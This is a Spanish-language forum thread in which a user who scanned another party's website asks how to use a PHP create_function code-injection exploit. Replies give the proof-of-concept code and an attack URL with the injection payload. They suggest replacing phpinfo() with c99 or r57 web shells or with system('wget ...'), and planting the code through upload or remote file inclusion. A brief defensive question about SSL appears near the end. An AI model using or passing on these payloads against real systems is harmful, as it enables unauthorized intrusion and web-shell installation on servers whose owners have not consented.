Bueno he analizado una web y he encontrado este bug:
Web Servers : PHP create_function Code Injection Weakness
Port 80
Description PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.This weakness is reported in PHP 5.2.6; other versions may also be affected.
How to fix Upgrade to the current version of PHP.
Risk level High
Related Links PHP HomePage.
CVE CVE-MAP-NOMATCH
Bugtraq ID 31398
he buscado y tengo este explot en php
<?php
# call as test.php?sort_by="]);}phpinfo();/*
$sort_by=stripslashes($_GET[sort_by]);
$databases=array("test");
$sorter = 'var_dump';
$sort_function = ' return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ';
usort($databases, create_function('$a, $b', $sort_function));
?>
Alguien sabe como lo puedo utilizar?
Gracias
(http://www.genexx.org/nitrous/misc-filez/screensh0ts/PHP_create_function_p0c.jpg)
CitarWeb Servers : PHP create_function Code Injection Weakness
Inyección de código en la función create_function(), y en el exploit vemos:
Citar$sort_by=stripslashes($_GET[sort_by]);
User-input = $sort_by
Citar$sort_function = ' return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ';
$sort_function incluye $sort_by
Citarusort($databases, create_function('$a, $b', $sort_function));
Entonces, create_function() es llamado con datos del usuario, el cual no sanitiza y lo parasea.
En el exploit viene una forma de usarlo:
Citar# call as test.php?sort_by="]);}phpinfo();/*
Guardas el exploit como test.php y lo llamas como http://0xdeadb33f.gov/test.php?sort_by="]);}phpinfo();/*
Y el resultado debe ser la salida de phpinfo().
Eso es un simple Proof of Concept, en la vida real, debes hacer revisión de código para buscar las llamadas a create_function() y analizar si la función recibe datos de usuario (directa o indirectamente). Si es así, entonces, podrías cambiar tu phpinfo() por un bonit c99 o un r57 (php shells) jeje.
SaluD.o.S
rixi te veo conocido? ajaj como andas?
Me desvie pero bueno y te sirvio lo que te dijo el colega?
jeje hola huemulito no sabia que estabas en este foro
si me ha servido pero no me ha quedado muy claro como llamo al explot
con rfi o como
lo subes al server y lo ejecutas, si no lo podes subir directamente entonces con rfi como has mencionado, el "chiste" es que se ejecute en el server "afectado" :)
se me ocurre que en lugar de poner "phpinfo()" podrias usar system() o alguna variante :P
passthru() creo que tambien funca... y claro, enviarle comandos... tal vez...
system("wget...")...
No creo que tenga permisos para usar system or passthru, pero nunca hace mal probar.
Tengo una web y me gustaria saber que programa usan para encontrarle vulnerabilidades ya que en ese caso me gustaría resolver el problema para hacerla más segura. La web consiste en una aplicación de gestión usuario/contraseña sin SSL. Supongo que es sin SSL ya que no me aparece el candado de seguridad al lado de la URL del navegador. ¿Me aconsejan SSL?
Gracias
Cita de: nitr0us en 15 Octubre 2008, 18:46 PM
Eso es un simple Proof of Concept, en la vida real, debes hacer revisión de código para buscar las llamadas a create_function() y analizar si la función recibe datos de usuario (directa o indirectamente). Si es así, entonces, podrías cambiar tu phpinfo() por un bonit c99 o un r57 (php shells) jeje.
Esta intersante, voy a provarlo ahora mismo en mi servidor local.
Cita de: nitr0us en 15 Octubre 2008, 18:46 PM
SaluD.o.S
Jajaja :laugh: :laugh: Que buen chiste
Igualemte Saludos y Gracias.
ss ss ss Smurfff!!! a perdon esque estornude, estoy algo enfermo :xD